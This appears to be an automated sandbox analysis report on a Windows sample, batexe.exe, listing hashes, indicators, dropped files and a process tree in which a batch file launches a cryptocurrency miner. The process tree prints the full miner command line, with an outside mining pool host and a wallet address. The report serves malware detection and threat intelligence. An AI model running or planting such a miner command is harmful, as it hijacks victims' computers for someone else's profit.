73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
304s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 07:18

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2984	b2e.exe
4340	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4340	cpuminer-sse2.exe
4340	cpuminer-sse2.exe
4340	cpuminer-sse2.exe
4340	cpuminer-sse2.exe
4340	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4612-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4612 wrote to memory of 2984	4612	batexe.exe	74
PID 4612 wrote to memory of 2984	4612	batexe.exe	74
PID 4612 wrote to memory of 2984	4612	batexe.exe	74
PID 2984 wrote to memory of 4744	2984	b2e.exe	75
PID 2984 wrote to memory of 4744	2984	b2e.exe	75
PID 2984 wrote to memory of 4744	2984	b2e.exe	75
PID 4744 wrote to memory of 4340	4744	cmd.exe	78
PID 4744 wrote to memory of 4340	4744	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4612
- C:\Users\Admin\AppData\Local\Temp\C7A5.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\C7A5.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\C7A5.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CBCC.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4744
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\C7A5.tmp\b2e.exe

Filesize
5.2MB

MD5
13015dfa459e1048325f8581f5d46054

SHA1
6f6984c9d862d72be22acfca329d88e5544ff4ba

SHA256
5ba4ce2c5f0c79c07e41fbeb186521335ae060de242c49ce54feb64ff973a696

SHA512
46ef05875d1a71097f80d15a5f4db2e9d1447b5505265eca3c17972fd6974afd15387b045856a26f799fd7d2009ae250a11083fcda1ff864fd2fdc1be5002695

Download Submit
C:\Users\Admin\AppData\Local\Temp\C7A5.tmp\b2e.exe

Filesize
5.2MB

MD5
dedee114e3473b64de6db693ece91e45

SHA1
1f9a87dd60f381d4a1b29e5c72fa32cb94983d59

SHA256
53eb085784caee91f9f94edabb0f0418882b8a3969b635e5c92537826ed3b4c7

SHA512
d3a12ec71c6e214839aafe6b94ca4ec2ffe429f1ada3f9516f65ba735fb76bbd7e30140f567429a66d53eeb25fa777c6928441b22a2aa7ea5ed21f57b9ea197e

Download Submit
C:\Users\Admin\AppData\Local\Temp\CBCC.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.5MB

MD5
340a6cdbfd87b0a3804d32b1bcd6d62a

SHA1
29993eb6761f0bf115018ff77c796edf0dfae61c

SHA256
14599d6c789999b3812fdc8f5accdb2e2b83a389f56a6f38a133465a789a1725

SHA512
9c37d491b57125067bf44f3b39649079b4be7a3d54ea7c3b9a859c29fc4b62b58aa934ca65f2992af86fa9cbbd70a615a1d9c0a5b16978fecdd89d28e2c3baf8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.2MB

MD5
51b12836ebf344d9d2f9dfb8b5d4800e

SHA1
c0f6ecd5e36793ae1816b338a766c0fc74296d99

SHA256
0a2ea7e0bae1347a84b089ab6e424bf4b78d36aff357732904f38bbd1b9fa10e

SHA512
7a634cd4a1f9502d58eeca05a01371e793036181d14d29308892b9ff73d5363101bd5cf8bc7ebe8cf2634c01cc56f4fcdae3543627c677803c40540fe12e3405

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.2MB

MD5
76fc8fb0256a353b3baefadc2e85a37e

SHA1
8b98e40bc55861931b9dd6107e7b56d095910591

SHA256
37537cd9e7f98540923f36e870afeb4aaa6a78e2e472a5c74fd5223f19090303

SHA512
b33e7c4692e8467df86d79c9f84ba420e98f20232e2b7ecde3a8977e2f3ae89e4dede5319962debc901a3043c04f1869fc067ca8db1ca745c3e2546a52033332

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2984-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2984-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4340-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4340-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4340-42-0x0000000068580000-0x0000000068618000-memory.dmp

Filesize
608KB

Download
memory/4340-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4340-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4340-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4340-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4340-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4340-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4340-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4340-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4340-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4340-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4340-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4612-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download